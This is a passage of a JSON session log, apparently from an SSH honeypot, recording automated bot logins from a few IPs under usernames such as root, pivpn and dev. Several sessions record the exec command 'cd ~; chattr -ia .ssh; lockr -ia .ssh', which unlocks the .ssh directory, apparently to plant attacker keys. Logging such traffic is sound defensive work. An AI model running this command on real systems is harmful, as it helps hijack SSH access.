  "ended_at": "2026-08-27T12:20:06.896499+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "20f77019-7730-417a-9ac6-4b5c555e2111",
  "name": "northern-reedy-albatross",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 53730,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:20:00.954638+00:00",
  "ended_at": "2026-08-27T12:20:02.472103+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5b8744b2-01e2-49be-bece-36ec39409a93",
  "name": "brisk-blithe-bullfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 40896,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 328,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:19:44.225424+00:00",
  "ended_at": "2026-08-27T12:19:45.643083+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "7e0a0c12-8ed0-4750-a081-597d1a4fbf65",
  "name": "muted-mighty-porcupine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 45496,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 260,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:19:35.417255+00:00",
  "ended_at": "2026-08-27T12:19:36.334650+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2253
 },
 {
  "id": "b971e5de-b870-4572-a10d-ec65612c5d25",
  "name": "placid-curious-quoll",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 59032,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:19:29.542825+00:00",
  "ended_at": "2026-08-27T12:19:30.247531+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6e476f28-5a02-45b9-8651-c3b9a7b4af7c",
  "name": "frank-valiant-tapir",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 40908,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:19:27.963185+00:00",
  "ended_at": "2026-08-27T12:19:28.850652+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "47742edf-265f-4760-ac34-b6cd21ca284f",
  "name": "wooded-crimson-linnet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 45502,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:19:12.784539+00:00",
  "ended_at": "2026-08-27T12:19:13.954317+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "40ef9361-14d1-487d-b3fc-21af405e6416",
  "name": "burly-steady-wolverine",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 45498,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:19:10.918543+00:00",
  "ended_at": "2026-08-27T12:19:12.256811+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2adc65a9-9a2a-48c2-951c-7a9693314980",
  "name": "early-flinty-godwit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 49492,
  "username": "pivpn",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 300,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:19:01.318517+00:00",
  "ended_at": "2026-08-27T12:19:03.298001+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2258
 },
 {
  "id": "e970556b-bf11-4101-94e1-bd615820ad01",
  "name": "umber-courtly-cougar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 44786,
  "username": "pivpn",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:18:45.502121+00:00",
  "ended_at": "2026-08-27T12:18:47.280886+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6cd2a942-966b-493e-9a88-d45f964b671b",
  "name": "humble-vigilant-owl",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 49498,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:18:44.239960+00:00",
  "ended_at": "2026-08-27T12:18:44.916617+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "90f233c9-a27d-4ed5-8e5a-ad096db4b742",
  "name": "murky-obsidian-lemur",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59556,
  "username": "radius",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 461,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:18:32.276938+00:00",
  "ended_at": "2026-08-27T12:18:33.654095+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2253
 },
 {
  "id": "f13b4e3d-6b21-4dfa-b884-c4b10781f0a4",
  "name": "rambling-hearty-dipper",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59568,
  "username": "radius",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:18:14.931067+00:00",
  "ended_at": "2026-08-27T12:18:16.052708+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "913179b9-56dc-4558-89de-2ad13d6d9b34",
  "name": "barren-weathered-mole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59558,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:18:12.012094+00:00",
  "ended_at": "2026-08-27T12:18:14.022191+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "464cf29c-a5b7-42bb-a3fa-d990165de08a",
  "name": "brave-foggy-oryx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 57670,
  "username": "cuckoo",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 328,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:17:38.862670+00:00",
  "ended_at": "2026-08-27T12:17:40.888936+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2249
 },
 {
  "id": "41f9f301-0f99-43d0-b4ad-6d08299e70d8",
  "name": "canny-autumn-jackal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 55478,
  "username": "ftp_user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 756,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:17:37.816270+00:00",
  "ended_at": "2026-08-27T12:17:39.130521+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2269
 },
 {
  "id": "b79aced4-aad9-4169-a27d-82fe9b3e5e09",
  "name": "wandering-lonesome-jackal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 55980,
  "username": "ebi",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 261,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:17:31.960154+00:00",
  "ended_at": "2026-08-27T12:17:33.416619+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2244
 },
 {
  "id": "5955f270-2c68-451d-bb99-898a798c1521",
  "name": "drifting-lonesome-walrus",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 57688,
  "username": "cuckoo",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:17:24.769873+00:00",
  "ended_at": "2026-08-27T12:17:25.833022+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "060b4211-25b5-40f4-bcf4-d15c66ebd1c2",
  "name": "idle-airy-ermine",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 57682,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:17:22.295832+00:00",
  "ended_at": "2026-08-27T12:17:24.113298+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c5ac6b47-ec4a-40bf-acd8-6f327c9194c3",
  "name": "thorny-weathered-squirrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 55496,
  "username": "ftp_user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:17:16.232053+00:00",
  "ended_at": "2026-08-27T12:17:17.574814+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "56c6e652-2d12-4249-ade1-296976d94763",
  "name": "languid-pewter-hornbill",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 55998,
  "username": "ebi",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:17:14.081383+00:00",
  "ended_at": "2026-08-27T12:17:15.966865+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9579c70b-9154-4a56-be57-9cbabf6f6b46",
  "name": "quaint-freckled-barbet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 55486,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:17:13.031903+00:00",
  "ended_at": "2026-08-27T12:17:14.783947+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "790f9f13-4402-4279-bb3d-dfb1292d453f",
  "name": "crimson-rugged-opossum",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 55982,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:17:11.657520+00:00",
  "ended_at": "2026-08-27T12:17:13.561841+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "38e87d5e-ef1f-45a2-bb06-542130b3b7bf",
  "name": "hazel-upland-numbat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 55238,
  "username": "admin123",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 295,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:16:49.883425+00:00",
  "ended_at": "2026-08-27T12:16:52.008092+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2251
 },
 {
  "id": "39cfa34a-1021-4e25-82fa-282d65e15778",
  "name": "smoky-obsidian-sandpiper",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 40224,
  "username": "admin123",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:16:36.444905+00:00",
  "ended_at": "2026-08-27T12:16:37.590640+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b474bb0d-860a-4b11-8d4c-3302810b947f",
  "name": "cobalt-nautical-lorikeet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 40208,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:16:35.229277+00:00",
  "ended_at": "2026-08-27T12:16:35.850410+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fe5b7c35-3ce5-4bff-b1e5-8e487ed5dab9",
  "name": "windswept-earnest-vicuna",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59540,
  "username": "dev",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 443,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:15:45.537099+00:00",
  "ended_at": "2026-08-27T12:15:47.083834+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2254
 },
 {
  "id": "779e6bda-1ea1-48e9-a699-6b4db9dfc7e7",
  "name": "polar-rambling-hyrax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 37324,
  "username": "sklep",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 327,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:15:38.945247+00:00",
  "ended_at": "2026-08-27T12:15:40.531770+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2250
 },
 {
  "id": "4ce08521-74d7-484d-bd2b-50f1e132ad39",
  "name": "languid-dusky-flamingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 34528,
  "username": "ftproot",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 261,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:15:30.385373+00:00",
  "ended_at": "2026-08-27T12:15:31.284296+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2307
 },
 {
  "id": "cc63b7a8-7d0d-4d94-9f1e-e74d6fa1408b",
  "name": "faded-nimble-dunlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59546,
  "username": "dev",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:15:28.220667+00:00",
  "ended_at": "2026-08-27T12:15:29.800059+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6de322b9-0ff9-46da-903c-12ea7c21f16b",
  "name": "wry-stoic-merlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59542,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:15:26.255477+00:00",
  "ended_at": "2026-08-27T12:15:27.317010+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "632586ea-1ecd-47e6-ba8b-17196908bbcf",
  "name": "mindful-craggy-martin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 37348,
  "username": "sklep",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:15:24.393971+00:00",
  "ended_at": "2026-08-27T12:15:25.858356+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "58e3a3fd-ebbd-47a5-aa35-506d68572dc3",
  "name": "courtly-downy-shelduck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 37338,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:15:21.928506+00:00",
  "ended_at": "2026-08-27T12:15:23.740770+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c6719c1f-f941-4205-93f1-36950bcf85da",
  "name": "vernal-oaken-warbler",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 41666,
  "username": "ftproot",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:15:16.537435+00:00",
  "ended_at": "2026-08-27T12:15:17.624575+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cdafba44-6f51-4b54-8b6d-590f87c240db",
  "name": "marbled-grumpy-sandpiper",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 34544,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:15:14.320622+00:00",
  "ended_at": "2026-08-27T12:15:16.007068+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b0360082-aeed-4dc0-93ca-08aceb310c4f",
  "name": "tranquil-jovial-sandpiper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 33462,
  "username": "dev",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 776,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:14:52.521448+00:00",
  "ended_at": "2026-08-27T12:14:53.775731+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2254
 },
 {
  "id": "b0b0266a-9cb6-4fde-ae1d-7796c1b791bb",
  "name": "western-early-cougar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 58892,
  "username": "anu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 297,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:14:45.268099+00:00",
  "ended_at": "2026-08-27T12:14:47.079215+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2240
 },
 {
  "id": "a41ca91b-4f90-430a-9ab3-b49e791077e7",
  "name": "reedy-gleaming-turnstone",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 58910,
  "username": "anu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:14:30.222168+00:00",
  "ended_at": "2026-08-27T12:14:30.853385+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e8fb0c0e-e245-4148-b3cc-c3699a2ce4f1",
  "name": "lively-eager-cormorant",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 40198,
  "username": "dev",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:14:30.209606+00:00",
  "ended_at": "2026-08-27T12:14:31.376236+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1ea0cdd7-eeb5-41ad-be52-b87fb7ec5f44",
  "name": "scarlet-cobalt-peccary",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 58904,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:14:28.154712+00:00",
  "ended_at": "2026-08-27T12:14:29.635695+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c77cb6f6-16b0-415a-97bb-8076a308b1aa",
  "name": "quiet-idle-albatross",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 33470,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:14:27.550298+00:00",
  "ended_at": "2026-08-27T12:14:28.549874+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "052656f7-0f3a-4553-91ff-893e15d0df4f",
  "name": "hushed-alpine-jaguar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 57014,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 330,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:13:37.615119+00:00",
  "ended_at": "2026-08-27T12:13:38.850014+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "d9d3e978-c9b7-4f69-b14e-6fc80085d958",
  "name": "cheerful-amber-wren",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 36380,
  "username": "nico",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 261,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:13:31.294117+00:00",
  "ended_at": "2026-08-27T12:13:32.597213+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2243
 },
 {
  "id": "fc2385d9-513b-4393-b0b4-6ca8f596ed2c",
  "name": "crisp-gleaming-wombat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 54456,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:13:22.238840+00:00",
  "ended_at": "2026-08-27T12:13:23.821651+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "363515e9-6ef8-4fd6-a333-97bef7d7b5b9",
  "name": "marbled-crisp-tinamou",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 54454,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:13:19.949822+00:00",
  "ended_at": "2026-08-27T12:13:21.550135+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "66fa8793-ad2b-41de-9a51-418d1b62c44a",
  "name": "prickly-feral-numbat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 36392,
  "username": "nico",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:13:15.876454+00:00",
  "ended_at": "2026-08-27T12:13:17.213339+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9e5c36fb-56db-4d14-b49d-f4dd3c1d794b",
  "name": "orderly-sincere-cormorant",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 36386,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:13:14.341235+00:00",
  "ended_at": "2026-08-27T12:13:15.355040+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "34cbb54a-7eae-4549-a703-86074d83de0d",
  "name": "lofty-lively-crane",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59510,
  "username": "dev",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 444,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:13:04.316963+00:00",
  "ended_at": "2026-08-27T12:13:05.593037+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2254
 },
 {
  "id": "f73686be-9c3a-430c-b31c-f3f2a2228069",
  "name": "smoky-blunt-macaw",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59526,
  "username": "dev",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:12:46.992336+00:00",
  "ended_at": "2026-08-27T12:12:48.804198+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1506c126-838f-49b9-abea-fe9e2779b122",
  "name": "frank-knotted-stonechat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59512,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:12:45.329356+00:00",
